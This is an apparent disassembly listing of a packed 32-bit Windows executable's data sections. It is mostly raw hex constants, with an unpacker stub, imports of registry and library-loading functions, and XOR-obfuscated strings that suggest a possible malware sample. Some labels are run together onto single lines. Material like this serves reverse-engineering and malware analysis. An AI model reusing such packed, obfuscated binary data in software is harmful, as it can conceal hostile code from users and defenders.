dd 61DD6CCh, 6820F454h, 642DD81Eh, 619DB0CFh, 6500101Dh
dd 4036A91Ah, 0BDEE5A55h, 462D54B4h, 0FE34FD6Fh, 8CA02CB7h
dd 0F39FF98Ch, 54D6ED6Fh, 0F9D19AB8h, 0DA75273Fh, 78EC03Eh
dd 513C5F82h, 0D4B85393h, 37170E42h, 0BC575BABh, 721B6ABAh
dd 87B249BEh, 3F736DFh, 0F9190B68h, 20B1FC0h, 46473C8Ch
dd 0C800D2C4h, 0FC18888Eh, 0CB85CC8Ch, 0C68DED02h, 36B3F803h
dd 1A24C19Ch, 61B456Ch, 1781BD63h, 27D19A3Fh, 7E4D7701h
dd 908B4298h, 0BD40B06Fh, 830C33FBh, 0E9F714C1h, 0A8F1B6CDh
dd 0F458853h, 3314756Eh, 7DB38447h, 4D8A7447h, 32A4170Fh
dd 7031F620h, 0B1AE6225h, 6BED052h, 646D80B8h, 0A38109B3h
dd 0B2701F29h, 7982FB1Dh, 0CE49E80Ch, 94BE43D1h, 5B535241h
dd 55746A70h, 0B1B9E0A4h, 9E147E08h, 6D5BBAF8h, 0C4201CD0h
dd 23F61122h, 2B762060h, 0D8C7E0E8h, 80180305h, 1E89EF17h
dd 0F02F6CE5h, 8E9076C0h, 0B771FB3Bh, 247B7D1h, 8F7BE39Ah
dd 9F8B2B54h, 97CCFD5Ah, 887880Ch, 0D83B0B02h, 351EF012h
dd 19EA2223h, 64D42846h, 1AF54BECh, 424C22F3h, 531F8021h
dd 735B3320h, 96830111h, 819C0885h, 1C068158h, 16D1D043h
dd 4D99B362h, 0D4BD1E4Bh, 46464646h, 0DC94D8FCh, 46F6161Fh
dd 0A5CBB30Dh, 0EFBD8D69h, 0C78BBF61h, 8BC54D89h, 5BBBF18h
dd 0A25781A3h, 0EC65CC7Eh, 9411A508h, 37893DCAh, 9D6F263Eh
dd 1A496C1Bh, 0B602EC0Fh, 0AB6831FFh, 61135B3h, 0FFF04150h
dd 0FB6C5EF7h, 0A2278303h, 0A559F093h, 88403FBFh, 53ABB739h
dd 0FFFFFE1Ah, 21B30833h, 249F4A8Ah, 43850A90h, 0C64657E9h
dd 0B054212Dh, 171F99EBh, 970E016Dh, 6D3F88B2h, 1E3A3175h
dd 898A4805h, 516CC689h, 8BF54848h, 7992FFEDh, 0BF0246E2h
dd 30306B38h, 0EE6BD78Ah, 5063435h, 768A810Ch, 0CF0AD939h
dd 3F3BB3Ch, 0E11C231Ch, 0FE565ADEh, 0A3AC6A05h, 933B7593h
dd 1B3140A1h, 0B451329h, 14A30820h, 0FBAD46CEh, 234BC38Bh
dd 3CA692C1h, 0A1367014h, 0FBC3946Ch, 42B66C2Eh, 0A1728AE7h
dd 0DA043D8Ah, 0F6C4CD86h, 8B8AD04Bh, 6054F2h, 655CE133h
dd 806FC34Ah, 90494C35h, 0D9884D38h, 0C7DE27B0h, 30234E06h
dd 660F73Fh, 0F5528101h, 18363C05h, 45C72011h, 3240C362h
dd 0F48880C0h, 0EBA21A4Ch, 8C47C7B0h, 83659159h, 1C4D6C12h
dd 2F6D872h, 3C740F0Ah, 0DAB3C212h, 0E106B57h, 0E03CCD96h
dd 74F8083h, 1E0E85D8h, 7B830B4Dh, 8540B94h, 8F547C0Fh
dd 0E7931EE8h, 1BBBBE2Dh, 35750252h, 19741005h, 831247F6h
dd 9E00BD0Bh, 5C6A1075h, 0C530087Bh, 66BBB86Ah, 758FA7F3h
dd 539A570Ah, 163145Ah, 570228C0h, 0B2585232h, 0D0D12961h
dd 39D37B2Ch, 7401D0C6h, 0CC868B71h, 4BEC6419h, 8D534F27h
dd 86CBCD9Eh, 19192190h, 0EF86868Eh, 960E464Eh, 1545BCBh
dd 0B1571375h, 56AC5D25h, 0AB04ACB6h, 5428E6E7h, 0CC057B01h
dd 91919102h, 0DCC4C891h, 919191BCh, 0C0B4B891h, 919981D0h
dd 0E0D8D491h, 0C9452800h, 0E200FFC8h, 9EE886EDh, 0BAE904h
dd 235686F0h, 2170BFC2h, 0BA01FB36h, 8B0E5A4Dh, 0C6033C70h
dd 1C8DB454h, 100641BCh, 0C2D16F00h, 0EB386ED7h, 1635EE0h
dd 0BADD221Ah, 901426FCh, 0F17C0B17h, 7D7A4A76h, 0E87F071Dh
dd 37FFADEh, 8A188AC2h, 751E3ACBh, 30C9841Ah, 0C01588Ah
dd 15BB715Eh, 46905D50h, 0E2751146h, 7605A3FFh, 401B05CFh
dd 831B4FD8h, 83022045h, 8B42A681h, 96723CC7h, 57C5FC3Bh
dd 0BC727AB3h, 20EE4A33h, 8FF06A2Dh, 0B70F0CADh, 8DF22B00h
dd 82D4455Dh, 630B5B8h, 0AA4EDF81h, 53FA2BDAh, 6164410Ch
dd 0C8003170h, 13F452B5h, 0D60F0403h, 3BA5FB0Eh, 6F636F74h
dd 1244176Ch, 0F4533019h, 42671752h, 0C16778F1h, 94D55677h
dd 0EBC4B4Dh, 2BBEC648h, 0CA94091h, 2A02811Dh, 87F4E456h
dd 0B0BED557h, 16387870h, 0ECF20320h, 2D0B157Ah, 8B244E75h
dd 0FA74032Ch, 0DFA3A05Dh, 0FEC5DB0h, 3F53C320h, 220F4FFFh
dd 6B621601h, 20510F48h, 4BD45076h, 9E9E56C1h, 2D346883h
dd 3EA96A38h, 311A57DAh, 0F3481CA3h, 205D12B0h, 20481694h
dd 141C85CFh, 7C8760C2h, 0EC187217h, 47A37862h, 3E50CEB3h
dd 88895B92h, 5E2B66B5h, 1227105h, 0DE210E23h, 745FFB67h
dd 0E91807F1h, 63BB2FA1h, 95C76F14h, 3D24053Fh, 5BF7505Ch
dd 454400D1h, 690076h, 895C0763h, 876DDDC2h, 730B64h, 0D7AE0772h
dd 611B9B75h
dd 1D6D030Bh, 1B720374h, 203C5D63h, 3B558CDFh, 8DC11763h
dd 6E651F74h, 7D179B21h, 49506DCFh, 752EDh, 0B6426F63h
dd 6937CC0Dh, 0B3275C0Dh, 0A9119440h, 3218866Ch, 0F0D0BDB4h
dd 2EA8685Ch, 0E25E5009h, 0DA186809h, 2153B281h, 5606D4F7h
dd 1C4B5012h, 865A2826h, 8308E25Ah, 0F6ADDA95h, 70D85B7h
dd 22C4AA58h, 5153944Dh, 6F3BFC68h, 9476D6EEh, 9C889820h
dd 0B0060DC8h, 0E46206FEh, 14B43EE6h, 0E0B8142Fh, 0DB2DB6C0h
dd 0CC288FF6h, 57D4D002h, 880C7E20h, 68E83EE6h, 79402F0Ch
dd 0C41B2F73h, 1E241816h, 6A38568Bh, 0E21501DEh, 46FA8B1Bh
dd 1AB859A1h, 6F0DE007h, 0B8F716D1h, 5E920920h, 70028934h
dd 0F25E8BF5h, 4B868940h, 63547846h, 0FA22C115h, 0CEFFB894h
dd 687447EEh, 6CA30458h, 0B8D6FF0Eh, 0F3C88648h, 4C50157Ch
dd 0F41CEA48h, 6A53C1D0h, 0ECF329CCh, 3D736F4Dh, 96595183h
dd 34402FF3h, 51F1F068h, 0AC4F076h, 0A012F098h, 53140D0Fh
dd 0D97A32D4h, 12D84A06h, 301330CCh, 1D65E533h, 30E0C303h
dd 2A345644h, 0B4C9A030h, 64FD2B02h, 1C81F50h, 53D3654Bh
dd 4C6E6970h, 51ADEA0Ch, 1211774h, 0AEFEFB49h, 7953FEDDh
dd 1C6F626Dh, 171A4C63h, 74520394h, 8975516Ch, 0DB6B36Ah
dd 61074979h, 0ED925508h, 431B3173h, 0B677A895h, 565C642Bh
dd 6DAD542Bh, 2D496450h, 0AA6B2916h, 669566FEh, 706D6F43h
dd 7164656Ch, 1B92DB3Eh, 0F7F395h, 0C6C06342h, 5A4A68A0h
dd 0F6B517FAh, 6E49F24Dh, 3C455D37h, 0FAA1257Eh, 2D75E85h
dd 6B957350h, 27B3B09Fh, 6F5422BDh, 8D1B6E41h, 0E65176Bh
dd 644DEA33h, 0B6C7BFF2h, 4D024E7Eh, 4CEC4D6Dh, 6761506Bh
dd 0A802BAD7h, 4FE07B9Ah, 661E6662h, 585E7E03h, 17D44DB3h
dd 421452B5h, 0CEDAA179h, 14541AAh, 0C355EE78h, 5417D9F6h
dd 0F9137079h, 0FF955369h, 1A05186Dh, 726B736Fh, 652E6C6Eh
dd 0D6E12E78h, 664BB536h, 7361384Bh, 73364F82h, 4113EFC9h
dd 69757163h, 77085072h, 0DEDB42EDh, 71724973h, 3E0D48ADh
dd 0BB336961h, 0D7B70B6h, 0A37044D4h, 41175D65h, 7C08B14Ch
dd 0C1749551h, 6764B5DBh, 1176AD55h, 0A95B22DCh, 5074E2DAh
dd 0CC27158Bh, 0FEA870DDh, 667542BDh, 81C819D4h, 332CE425h
dd 0E496029h, 45725F4Bh, 6DEA8D0Ch, 63724100h, 0F685C5BDh
dd 0BAA3D6DAh, 0EF33226Eh, 0BC2AAB36h, 0AE69B7h, 0A033011Fh
dd 0CF6C3DE4h, 4136E55Ah, 256F4274h, 2D92B726h, 2B959980h
dd 8DDD662Bh, 70566548h, 156D3C79h, 15876422h, 0F9751D14h
dd 891F491Ah, 59532E0Dh, 4AC8A153h, 8901D5F1h, 2D17B618h
dd 1E69007h, 48041930h, 14B2C95Bh, 1304C04Fh, 53C0D743h
dd 5F9D56B4h, 0CDED4505h, 5340D034h, 5FB34FABh, 0FE788B05h
dd 4F0B46B9h, 0FEEF04BDh, 26C36D03h, 75D452Bh, 0B4EF473Fh
dd 19017210h, 1D733163h, 744F6C34h, 6735697Bh, 839B074Dh
dd 0D6C61AEh, 2B660D49h, 0B1BC4023h, 34B93BAEh, 62073903h
dd 75D064C7h, 171E751Dh, 736D2343h, 0C80D14B0h, 61812073h
dd 7418C188h, 20AF6B61h, 0F74D339Bh, 6307D13Dh, 79206F11h
dd 0E0C43D92h, 1407CF76h, 0DC0CC153h, 79533DF6h, 375DF34Fh
dd 54CF9DD6h, 6E2D4B33h, 520D6C05h, 7BAE066h, 137531C3h
dd 0E61D8DCFh, 4715119Eh, 631544CBh, 8DD74494h, 69797069h
dd 5B1F6E2Dh, 49B6F759h, 65215168h, 89055399h, 36B901h
dd 5881560Bh, 4B971C2Bh, 585EF32h, 0C8D8F307h, 2E373135h
dd 0C44F0700h, 74B06665h, 6ED561B7h, 90B6EBAFh, 2F2971E7h
dd 29671B4Ch, 0EEB1B84h, 8D79930Dh, 1021A367h, 13D9ECAEh
dd 0EB061B20h, 15A9BA1Ah, 530BF32h, 6233092Dh, 9B8ACEC2h
dd 3054770Ch, 6DC62F0Dh, 72C75164h, 0B38F7426h, 7D29576Fh
dd 8D830B6Bh, 1FD5CC34h, 69934F3Eh, 66126C09h, 0EF6E2FE7h
dd 0BAC1A461h, 5779072Eh, 75500D20h, 6C6E7C7h, 0B9425761h
dd 0C46F643Fh, 5C48BEE8h, 750F6F1Fh, 8CA2EF43h, 3A774525h
dd 212308BBh, 0DFE15B64h, 46CEE7DEh, 5F7553B7h, 61D2F569h
dd 44B7C26Ch, 5D43561Fh, 56E88709h, 6D842400h, 0B6E8C27Ah
dd 611F7315h, 0B00409A3h, 0CD90337Fh, 80A80315h, 0D034C433h
dd 0D55BDF34h, 0EE34FFFFh, 1B350F34h, 39352A35h, 0D135A635h
dd 0E035D735h, 6FFA32A7h, 6B36FF55h, 9B368A36h, 1099A436h
dd 1C378A37h, 0FF384638h, 3A17FFFFh, 38C3385Fh, 38FE38E2h
dd 39383928h, 394B3945h, 39B63965h, 39E639D3h, 0FFFF39F9h
dd 3A39FFFFh, 3A473A40h, 3A553A4Eh, 3A633A5Ch, 3A713A6Ah
dd 3A903A78h, 3AA83A9Fh, 3AF43AB1h, 0FFFF3B08h, 3B10FFFFh
dd 3B763B15h, 3C0C3B7Eh, 3C8C3C72h, 3D093C9Fh, 3DB03D31h
dd 3E3A3DB9h, 3E973E80h, 0AF8B3E9Eh, 3EBEFFFFh, 3F353F04h
dd 3F623F4Ch, 3F7D3F6Eh, 84F93FF0h, 0FFF27B10h, 20C066FFh
dd 11310530h, 39312A31h, 78316C31h, 98318931h, 2320C31h
dd 23FFFFC0h, 44332B33h, 0E333C233h, 13340B33h, 29341834h
dd 0FFDDFF8Fh, 0C13458FFh, 0FB34F334h, 29352134h, 81352E35h
dd 0E5CB8935h, 0FD35F335h, 23361635h, 0FFF77F46h, 39363036h
dd 58364136h, 82367C36h, 0DD36BADBh, 53384E36h, 0FFFFFF0Eh
dd 387D38FFh, 38B13890h, 39B1393Eh, 3A223A17h, 3A683A5Eh
dd 3AE83AC6h, 3B283B1Dh, 3B853B7Ch, 0FFFBBFB7h, 3C073BFEh
dd 3C703C68h, 3C803C76h, 3CE7B988h, 3D5D3D50h, 453E2E34h
dd 0FFFFFFFEh, 503E4A3Eh, 6E3E573Eh, 0CD3E783Eh, 613EDE3Eh
dd 853F6C3Fh, 0BF3F933Fh, 0DB3FCA3Fh, 0FF3FE93Fh, 0E81EEFFFh
dd 304CBFF4h, 30D93089h, 30F630DEh, 313A30FDh, 315B3141h
dd 2F103164h, 3194FFF4h, 31A8319Fh, 31F231ADh, 353F31F8h
dd 0FE1B1632h, 0C39E1ADFh, 34BA34AAh, 34D734CBh, 8D203508h
dd 3780356Eh, 3586FE00h, 35A535A0h, 37482778h, 0EDF00076h
dd 380E0F0Dh, 5038A72Ch, 0B7FF6838h, 0CB51BFFFh, 19391438h
dd 26392039h, 34392C39h, 39610039h, 39853976h, 399F398Dh
dd 0EE0B001Bh, 0CBAC39A7h, 0ED17D099h, 0FD5BFE00h, 0FA39F539h
dd 3A4BFF39h, 3A183A10h, 0FF743A1Eh, 1937FFFFh, 3B423AB3h
dd 3B813B73h, 3BAE3BA8h, 3BBA3BB4h, 3BC63BC0h, 3BD23BCCh
dd 2FFF3BD8h, 3BDEFFFDh, 3BEA3BE4h, 3DA23BF0h, 3DF33DEEh
dd 143E0FA0h, 303E213Eh, 423E353Eh, 0FFFFC006h, 563E513Eh
dd 723E603Eh, 893E813Eh, 3D3E903Eh, 0C02B473Fh, 83F001BFh
dd 0A629913Fh, 0C43FBC3Fh, 19FFD53Fh, 0F32D06DBh, 15DF30F3h
dd 1F301A30h, 0F8242430h, 2930EDB7h, 0F5350030h, 65303F30h
dd 1F306A30h, 9EC7E6h, 4931424Eh, 40601997h, 1A2FA06h
dd 4473458Dh, 49FE73F8h, 706802ECh, 3220FB6Bh, 4B5C302Eh
dd 809E268Bh, 5C775C17h, 120F4F0h, 64705505h, 95C4B162h
dd 0AA4EA704h, 0D43BFE77h, 42095A6Ah, 6174536Bh, 5307472h
dd 72476F9Ch, 0D670756Fh, 0A41780Ah, 82C11FACh, 0D7347405h
dd 50167618h, 0D55C7643h, 205B6E73h, 0D7000D01h, 1ED709Fh
dd 6F977EDEh, 1D00BA1Dh, 903E08F6h, 575D155Ch, 4640323Ch
dd 0FB590660h, 2A1F4523h, 0F6338008h, 177EFF85h, 15197F18h
dd 1E285C66h, 7CF73B46h, 0F30AA423h, 3B2480E9h, 4362FEE0h
dd 40101CF2h, 0C131800h, 61765468h, 73C6C9BEh, 0E6A1114h
dd 813E4810h, 1028E054h
dd 0C2A90040h, 1448EE74h, 0E7E04C1Bh, 5660A306h, 90F54C6h
dd 5AF736A3h, 20054910h, 9C4F4004h, 67FB6405h, 20345931h
dd 4C9C64BDh, 0BE57F6C9h, 0C6A49C9Ch, 0A481CF25h, 0F7D068C0h
dd 0D8799Fh, 683A6816h, 0BE0A6ABBh, 0F3482394h, 8D597FDDh
dd 0A5F3AC7Dh, 0B84BEA4h, 0A5D87D8Dh, 0B19E7CA5h, 0F5F0C11Bh
dd 0E80A74BEh, 76EBB76Ch, 0E4A5F847h, 0A40B6468h, 99BEACE6h
dd 553E205Dh, 0C1692480h, 0B0016A7Bh, 14EC7457h, 35196A0Fh
dd 9E2350Fh, 831FF89Bh, 61C94CC4h, 0E19CCD92h, 6AF8DF08h
dd 6CD437F5h, 400544A6h, 0F80D4A9h, 0F7617385h, 0EFBCBE9Dh
dd 96F26604h, 0F7BAFF00h, 0C64420Eh, 14EC358Bh, 6767F4FEh
dd 1AD64630h, 47831903h, 0C2EEBF78h, 3C305204h, 1105842Ah
dd 6159010Eh, 1E67D98Bh, 39EC6859h, 1342A20h, 0F3C868h
dd 0AD7210FFh, 13DE1A7Ch, 0EA60385Ah, 74C3640Ah, 76E0349Fh
dd 30AFD404h, 0EFEF112Eh, 8D047B2Ch, 0FF68D68Dh, 562898D0h
dd 1DEFBF0Ah, 6C51204Dh, 0B55FBBh, 0C0968B59h, 962A3635h
dd 144876A7h, 570950DDh, 2D1E04B6h, 27D8DEAh, 80EFF33h
dd 0B45420F9h, 575DB023h, 57B01D24h, 2057359h, 0CC51h
dd 0A0286016h, 41101B70h, 3C61019Ch, 0C4061801h, 44015C21h
dd 80C03100h, 0BA0ABA42h, 773E9384h, 310400F9h, 0A6922030h
dd 57908824h, 88040155h, 10B2031h, 2090E292h, 1D4010Eh
dd 0B2C40656h, 20904C04h, 6D3EE606h, 1212F125h, 41168844h
dd 0D25CD830h, 0B27B7DE3h, 4456460Ah, 5580B667h, 8A368510h
dd 69C443ECh, 7301315Ch, 165F2006h, 10C54h, 0E12F20F2h
dd 6E010F79h, 0B078D565h, 80C122A0h, 5810CE2h, 21F8DF5h
dd 0E054840Ch, 837A744Eh, 41957ACh, 96046817h, 0B05F5059h
dd 2EB906Ch, 206C510Ch, 7B2CFD48h, 0BC000000h, 71BFh, 1200h
dd 0BE6000FFh, 406000h, 0B000BE8Dh, 8357FFFFh, 10EBFFCDh
dd 90909090h, 68A9090h, 47078846h, 775DB01h, 0EE831E8Bh
dd 72DB11FCh, 1B8EDh, 0DB010000h, 1E8B0775h, 11FCEE83h
dd 1C011DBh, 75EF73DBh, 831E8B09h, 0DB11FCEEh, 0C931E473h
dd 7203E883h, 8E0C10Dh, 8346068Ah, 7474FFF0h, 0DB01C589h
dd 1E8B0775h, 11FCEE83h, 1C911DBh, 8B0775DBh, 0FCEE831Eh
dd 0C911DB11h, 1412075h, 8B0775DBh, 0FCEE831Eh, 0C911DB11h
dd 0EF73DB01h, 1E8B0975h, 11FCEE83h, 83E473DBh, 0FD8102C1h
dd 0FFFFF300h, 8D01D183h, 0FD832F14h, 8A0F76FCh, 7884202h
dd 0F7754947h, 0FFFF63E9h, 28B90FFh, 8904C283h, 4C78307h
dd 7704E983h, 0E9CF01F1h, 0FFFFFF4Ch, 0B9F7895Eh, 11Ah
dd 2C47078Ah, 77013CE8h, 43F80F7h, 78BF275h, 66045F8Ah
dd 0C108E8C1h, 0C48610C0h, 0EB80F829h, 89F001E8h, 5C78307h
dd 0D9E2D889h, 7000BE8Dh, 78B0000h, 3C74C009h, 8D045F8Bh
dd 90003084h, 0F3010000h, 8C78350h, 905096FFh, 8A950000h
dd 0C0084707h, 0F989DC74h, 0AEF24857h, 5496FF55h, 9000090h
dd 890774C0h, 4C38303h, 96FFE1EBh, 9058h, 0DF61E961h, 0FFFFh
dd 25h dup(0)
dd 0A0700000h, 0A0500000h, 3 dup(0)
dd 0A07D0000h, 0A0600000h, 3 dup(0)
dd 0A08A0000h, 0A0680000h, 5 dup(0)
dd 0A0940000h, 0A0A20000h, 0A0B20000h, 0
dd 0A0C00000h, 0
dd 0A0CE0000h, 0
dd 454B0000h, 4C454E52h, 442E3233h, 41004C4Ch, 50415644h
dd 2E323349h, 6C6C64h, 4356534Dh, 642E5452h, 6C6Ch, 64616F4Ch
dd 7262694Ch, 41797261h, 65470000h, 6F725074h, 64644163h
dd 73736572h, 78450000h, 72507469h, 7365636Fh, 73h, 43676552h
dd 65736F6Ch, 79654Bh, 61720000h, 646Eh, 4Bh dup(0)
dd 2, 0Ah
dword_446458 dd 0 ; sub_4082AB:loc_4082D9r ...
dword_44645C dd 56306Fh dword_446460 dd 625C3A63h, 2E746F6Fh, 737973hbyte_44646C db 72h, 49h, 0 ; DATA XREF: sub_40844F+3Ao
byte_44646F db 50h ; DATA XREF: sub_40844F+A6o
dd 82707F6Dh
db 66h, 25h, 0
byte_446477 db 4Bh ; DATA XREF: sub_40844F+B9o
dd 48h
dword_44647C dd 11h, 0Fh dup(0)dword_4464BC dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h
; DATA XREF: sub_408741+10o
dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh, 280E85D5h
dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h, 14F80518h
dd 6E0637BFh, 8, 0Ah
dword_446504 dd 0 ; .text:loc_4085D4r ...
dd 3
dword_44650C dd 0Eh dword_446510 dd 0 ; .text:loc_4086D3r ...
dword_446514 dd 57384020h db 5Ah, 0
dword_44651A dd 20374Bh word_44651E dw 574Fh ; DATA XREF: sub_408779+77o
db 0
word_446521 dw 30h ; DATA XREF: sub_408779:loc_40882Fr
align 4
dd 5, 0Ah
dword_44652C dd 0 ; .text:loc_4088DEr ...
aVlvh__0 db 'vlVh_',0 ; DATA XREF: sub_40893E+11o
align 4
dword_446538 dd 0FFFFFFFFh dd 2Ah dup(0FFFFFFFFh), 3Eh, 3 dup(0FFFFFFFFh), 3Fh, 34h
dd 35h, 36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh, 7 dup(0FFFFFFFFh)
dd 0
dd 1, 2, 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh
dd 0Fh, 10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h, 18h, 19h
dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh, 1Ch, 1Dh, 1Eh, 1Fh, 20h
dd 21h, 22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h, 2Ah, 2Bh
dd 2Ch, 2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh)
dword_446938 dd 7568203Ah db 0
byte_44693D db 2Fh, 31h, 81h ; DATA XREF: sub_40893E+9Do
dd 3A546F7Eh
db 0
byte_446945 db 3 dup(0) ; DATA XREF: sub_40893E+F1o
off_446948 dd offset loc_4089D5 ; DATA XREF: sub_40893E+88r
dd offset loc_4089E8
dd offset loc_408A13
dd offset loc_408A4A
dword_446958 dd 7 dd 0Ah
dword_446960 dd 0 ; sub_408AB9:loc_408AE8r ...
dword_446964 dd 2B5240h word_446968 dw 41h ; DATA XREF: sub_408B4C+B8r
word_44696A dw 3B2Dh ; DATA XREF: sub_408B4C+14Bo
dd 61393920h
db 0
dword_446971 dd 505866h dword_446975 dd 505E55h byte_446979 db 3Bh, 27h, 2Ah ; DATA XREF: sub_408E12+16o
dd 2026206Ch
db 0
aHjvmnia db 'hJVmnIA',0 ; DATA XREF: sub_408E12+61o
aP_rX db 'p+_R',27h,'X',0 ; DATA XREF: sub_408E12+A7o
aFxTE db 'fX $t!E',0 ; DATA XREF: sub_408ED0+E7o
aQa db 'qA',0 ; DATA XREF: sub_408ED0+207o
byte_44699B db 0 ; DATA XREF: sub_408ED0+31Bo
aZ_y9am4 db 'z.y9aM4',0 ; DATA XREF: sub_408ED0+63Bo
a3h db '3h',0 ; DATA XREF: sub_408ED0+739o
aOi6 db ' oi%6',0 ; DATA XREF: sub_408ED0+827o
dword_4469AD dd 2E3B72h byte_4469B1 db 40h, 47h, 44h ; DATA XREF: sub_408ED0+866o
dd 214E2075h
db 0
byte_4469B9 db 47h, 21h, 5Fh ; DATA XREF: sub_408ED0+8BEo
db 60h, 0
word_4469BE dw 4E7Fh ; DATA XREF: sub_408ED0+92Fo
dd 307F7Ch
word_4469C4 dw 7Fh ; DATA XREF: sub_4098A8+15r
word_4469C6 dw 4732h ; DATA XREF: sub_4098A8+28o
dd 66213C54h
db 0
byte_4469CD db 4Eh, 4Ah, 62h ; DATA XREF: sub_4098A8+3Bo
dd 397320h
byte_4469D4 db 0 ; DATA XREF: sub_4098A8+4Eo
dword_4469D5 dd 4A7180h byte_4469D9 db 2Eh, 20h, 33h ; DATA XREF: sub_4098A8+6Ao
db 82h, 0
byte_4469DE db 0 ; DATA XREF: sub_4098A8+99o
byte_4469DF db 3Ch ; DATA XREF: sub_4098A8+107o
dd 792B6973h
db 59h, 0
byte_4469E6 db 0 ; DATA XREF: sub_4098A8+1A7o
byte_4469E7 db 2Ah ; DATA XREF: sub_4098A8+20Bo
db 2Fh, 0
aOcqud db 'ocqUd',0 ; DATA XREF: sub_4098A8+367o
word_4469F0 dw 68h ; DATA XREF: sub_4098A8:loc_409C42r
word_4469F2 dw 6Dh ; DATA XREF: sub_4098A8+3F3r
dword_4469F4 dd 39572Ch dword_4469F8 dd 81243B4Dh, 64373Ahdword_446A00 dd 4E314Fh dword_446A04 dd 36307F57h db 6Ch, 61h, 0
byte_446A0B db 55h ; DATA XREF: sub_4098A8+833o
dd 277C57h
dword_446A10 dd 203D3A3Eh, 325020hdword_446A18 dd 6A2082h dword_446A1C dd 71243A5Eh db 0
dword_446A21 dd 384E42h dword_446A25 dd 6C3020h byte_446A29 db 0 ; DATA XREF: sub_4098A8+D04o
word_446A2A dw 7Eh ; DATA XREF: sub_4098A8+DB4r
dword_446A2C dd 674E5F56h db 76h, 2Bh, 0
dword_446A33 dd 3F3C45h byte_446A37 db 0 ; DATA XREF: sub_4098A8+10EDo
word_446A38 dw 4Eh ; DATA XREF: sub_40AA24+1Br
dword_446A3A dd 4D2065h word_446A3E dw 8020h ; DATA XREF: sub_40AA24+1E9o
db 83h, 39h, 0
byte_446A43 db 44h ; DATA XREF: sub_40AA24+23Fo
dd 79805570h
db 59h, 46h, 0
aWq6ug db 'wq6Ug',0 ; DATA XREF: sub_40AA24+24Do
aRf db 'rf',0 ; DATA XREF: sub_40AA24+325o
word_446A54 dw 42h ; DATA XREF: sub_40AA24+364r
word_446A56 dw 3631h ; DATA XREF: sub_40AA24+540o
dd 69593C58h
db 5Fh, 0
dword_446A5E dd 6B3377h word_446A62 dw 3E49h ; DATA XREF: sub_40AA24+62Ao
dd 20207F55h
db 0
byte_446A69 db 40h, 7Ch, 0 ; DATA XREF: sub_40AA24+6ADo
dword_446A6C dd 40482480h, 556432hword_446A74 dw 26h ; DATA XREF: sub_40AA24+759r
word_446A76 dw 5A42h ; DATA XREF: sub_40AA24+78Co
db 0
byte_446A79 db 80h, 40h, 0 ; DATA XREF: sub_40AA24+862o
dword_446A7C dd 2F206Dh dword_446A80 dd 23302Fh dword_446A84 dd 36627C70h db 0
off_446A89 dd offset byte_444E5F ; DATA XREF: sub_40B3E8+188r
byte_446A8D db 20h, 2Ah, 80h ; DATA XREF: sub_40B3E8+304o
dd 71802668h
db 0
aGjvry db 'gjVRy',0 ; DATA XREF: sub_40B3E8+327o
dword_446A9B dd 387547h byte_446A9F db 72h ; DATA XREF: sub_40B3E8+486o
db 20h, 0
dword_446AA2 dd 20762Bh word_446AA6 dw 773Bh ; DATA XREF: sub_40B3E8+68Bo
db 0
word_446AA9 dw 2Dh ; DATA XREF: sub_40B3E8+724r
byte_446AAB db 2Bh ; DATA XREF: sub_40B3E8+7B8o
dd 7F4A5Eh
dword_446AB0 dd 637A4076h, 0 byte_446AB8 db 0D4h, 0 ; DATA XREF: sub_40B3E8+7C7o
word_446ABA dw 0DED9h ; DATA XREF: sub_40B3E8+6F6o
db 0
byte_446ABD db 81h, 0BAh, 0B5h ; DATA XREF: sub_40B3E8+5F9o
dd 0F4B1B8B6h, 0B5F4BBA0h, 0BBBCA0A1h, 0B1AEBDA6h
db 0
byte_446AD1 db 81h, 0BAh, 0B5h ; DATA XREF: sub_40B3E8+5E7o
dd 0F4B1B8B6h, 0B5F4BBA0h, 0BBBCA0A1h, 0B1AEBDA6h, 9DF4F9F4h
dd 869B979Ah, 80979186h, 9A9D84F4h, 0B884F4FAh, 0B1A7B5B1h
dd 0BBB7F4F8h, 0B7B1A6A6h
db 0A0h, 0FAh, 0
byte_446B07 db 0F1h ; DATA XREF: sub_40B3E8+43Co
dd 0A7F1F9A7h
db 0
byte_446B0D db 84h, 0B8h, 0B1h ; DATA XREF: sub_40B3E8+406o
dd 0F8B1A7B5h, 0B8B1A7F4h, 0F4A0B7B1h, 0BDA4AC91h, 0BDA0B5A6h
dd 8DF4BABBh, 0A6B5B1h
dword_446B2C dd 0F1F4A7F1h ; sub_40B3E8+639o
db 0A7h, 0
word_446B32 dw 0B884h ; DATA XREF: sub_40B3E8+387o
dd 0B1A7B5B1h, 0B1A7F4F8h, 0A0B7B1B8h, 0A4AC91F4h, 0A0B5A6BDh
dd 0F4BABBBDh, 0A0BABB99h
db 0BCh, 0
word_446B52 dw 0A7F1h ; DATA XREF: sub_40B3E8+337o
db 0
byte_446B55 db 97h, 98h, 87h ; DATA XREF: sub_40AA24+768o
dd 0F188909Dh, 0BA9D88A7h, 0B7BBA684h, 0A2A6B187h, 0E6E7A6B1h
db 0
byte_446B6D db 82h, 0 ; DATA XREF: sub_40AA24+73Do
byte_446B6F db 9Fh ; DATA XREF: sub_40AA24+716o
db 0
aZAgJIsJZAigGzi db '‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§ˆ—¡¦¦±º ‚±¦§½»ºˆ‡¼±¸¸‡±¦¢½·±›¶¾±· ±¸µ'
; DATA XREF: sub_40AA24+6DEo
db '˜»µ°',0
aJZaJzJvDjZz db '†±³½§ ±¦‡±¦¢½·±„¦»·±§§',0 ; DATA XREF: sub_40AA24+5F2o
word_446BCE dw 0B1BFh ; DATA XREF: sub_40AA24+5DEo
dd 0B8B1BAA6h, 0B0FAE6E7h
db 2 dup(0B8h), 0
byte_446BDB db 88h ; DATA XREF: sub_40AA24+4B3o
dd 0A0BBBBB6h, 0A7ADA7FAh
db 0
byte_446BE5 db 0F1h, 0A7h, 88h ; DATA XREF: sub_40AA24+467o
